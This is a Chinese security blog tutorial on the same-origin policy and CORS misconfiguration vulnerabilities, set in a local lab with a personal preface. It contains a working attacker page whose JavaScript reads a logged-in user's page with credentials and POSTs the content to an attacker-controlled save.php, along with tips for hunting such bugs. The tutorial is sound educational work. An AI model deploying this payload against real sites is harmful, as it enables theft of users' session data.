Cross-domain Vulnerability Learning

  1. 前言
    1. CORS跨域读取学习

前言

好久没更博客了。。最近手扭到了,原因是某领导来我们学校检查。到男生宿舍后面发现一堆烟头,说到这里我tm服了。。砸这么牛皮= =。吸完就往下扔,后来晚上总宿管全员检查。我们宿舍去开会的偷偷发了个短信给我们,下床双手撑着飞上墙壁看看有没有打火机。。。然后下来时手就肿了。。

CORS跨域读取学习

0x00同源策略
SOP同源策略,该策略是浏览器的一个安全基操,如果没有同源策略,那么你打开了一个合法网站,又打开了一恶意网站。恶意网站的脚本能够随意的操作合法网站可操作资源,没有任何限制。

同源策略介绍:Same-origin policy - Wikipedia
浏览器同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读取读写对方的资源。那么何为同源:
|协议|域名|端口|是否同源
|-|-|-|-|
|相同|相同|相同|是
|不同|相同|相同|否
|相同|相同|不相同|否

一个最好的例子:

你在本地手动远程读取百度的logo,以读取到的二进制数据为准。很快你就会发现不行
这都是同源策略

CORS,跨域资源共享(Cross-origin resource sharing),是H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。

0x01跨域访问的一些场景

1.比如后端开发完一部分业务代码后,提供接口给前端用,在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问的问题。
2.程序员在本地做开发,本地的文件夹并不是在一个域下面,当一个文件需要发送ajax请求,请求另外一个页面的内容的时候,就会跨域。
3.电商网站想通过用户浏览器加载第三方快递网站的物流信息。
4.子站域名希望调用主站域名的用户资料接口,并将数据显示出来。

0x03CORS漏洞的攻击流程
Access-Control-Allow-Origin:*
Access-Control-Allow-Credentials:true

通过指定:Access-Control-Allow-Origin允许那些来源可以跨域读取本站的资源,当Access-Control-Allow-Origin为默认的时候。允许任意来源来访问本站的资源,那么就导致了跨域读取

当站点没有指定Access-Control-Allow-Origin的时候,用户访问恶意站点的脚本,恶意站点的脚本请求站点。会被浏览器的同源策略默认拦截

当站点设置了Access-Control-Allow-Origin:*,用户访问恶意站点的脚本,恶意站点的脚本请求站点。浏览器的同源策略不起作用。因为被请求的站点允许任何来源跨域读取本站内容

攻击者手法:
攻击者利用cors漏洞把A.com的orgin改成接收用户信息的在线脚本B.com,然后生成一个链接引诱受害者去点击,如果受害者正好登录了A.com 并且点击了这个链接,则会把cookie发送到B.com

实例:
物理机win7:www.a.com
Kali:www.b.com

www.a.com/cors/a.php

<?php
header("Content-Type: text/html;charset=utf-8");
if (isset($_COOKIE['demo'])){
    echo "欢迎管理员登录";
}else{
    echo '你好,游客';
}
if(isset($_GET['user'])){
    if($_GET['user']=='admin'){
        setcookie('demo','1');
    }
}
?>

www.b.com/demo.html

<!DOCTYPE>
<html>
<h1>Hello I evil page. </h1>
<script type="text/javascript">
function loadXMLDoc()
{
    var xhr1;
    var xhr2;
    if(window.XMLHttpRequest)
    {
        xhr1 = new XMLHttpRequest();
        xhr2 = new XMLHttpRequest();
    }
    else
    {
        xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
        xhr2= new ActiveXObject("Microsoft.XMLHTTP");
    }
    xhr1.onreadystatechange=function()
    {
        if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
        {
            var datas=xhr1.responseText;
            xhr2.open("POST","http://www.b.com/save.php","true");
            xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
            xhr2.send("T1="+escape(datas));      
        }
    }
    xhr1.open("GET","http://www.a.com/cors/login.php","true") //request user page.
    xhr1.withCredentials = true;        //request with cookie
    xhr1.send();
}
loadXMLDoc();
</script>
</html>

login.php没有设置Access-Control-Allow-Origin
测试如下:
自动帮我们设置了origin头
AJg1P0.md.png

当我们放包,继续让浏览器执行的时候

(浏览器阻止了跨域读取)
AJgaZ9.md.png

在login.php设置Access-Control-Allow-Origin

<?php
header("Content-Type: text/html;charset=utf-8");
header("Access-Control-Allow-Origin: http://b.com");
header("Access-Control-Allow-Credentials: true");
if (isset($_COOKIE['demo'])){
    echo "欢迎管理员登录";
}else{
    echo '你好,游客';
}
if(isset($_GET['user'])){
    if($_GET['user']=='admin'){
        setcookie('demo','1');
    }
}
?>

重新请求一下,发现返回的响应里面有(Access-Control-Allow-Origin)
PS:在浏览器执行下一步执行用burp抓包重放是可以看到响应结果的
AJRw36.png

Access-Control-Allow-Origin指是允许访问的源
Access-Control-Allow-Credentials指的是允许带上cookie访问资源

最后结果:
AJWSrF.png

AJROCq.png

这里要注意的是,我们也可以测试下带有Access-Control-Allow-Origin: * 字段的网站是否有CORS漏洞,但是如果是如下组合,则没有漏洞,因为浏览器已经会阻止如下的配置。
AJRsDe.png

实际上挖掘跨域资源共享的要点就是:见到有origin请求返回的响应有Access-Control-Allow-Origin,尝试修改Origin头为自己的接收地址就行,详细看下面的secqun的文章。

0x04总结
实战挖SRC例子:
secqun-前端跨域资源共享
遨游浏览器没有做同源策略
Maxthon for mac 获取保存的密码/跨域信息读取/任意文件写入 | WooYun-2015-155672 | WooYun.org

转载请声明:转自422926799.github.io


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:Cross-domain Vulnerability Learning

本文作者:九世

发布时间:2019-03-24, 09:30:13

最后更新:2019-04-19, 20:36:16

原始链接:http://422926799.github.io/posts/f7db9d16.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录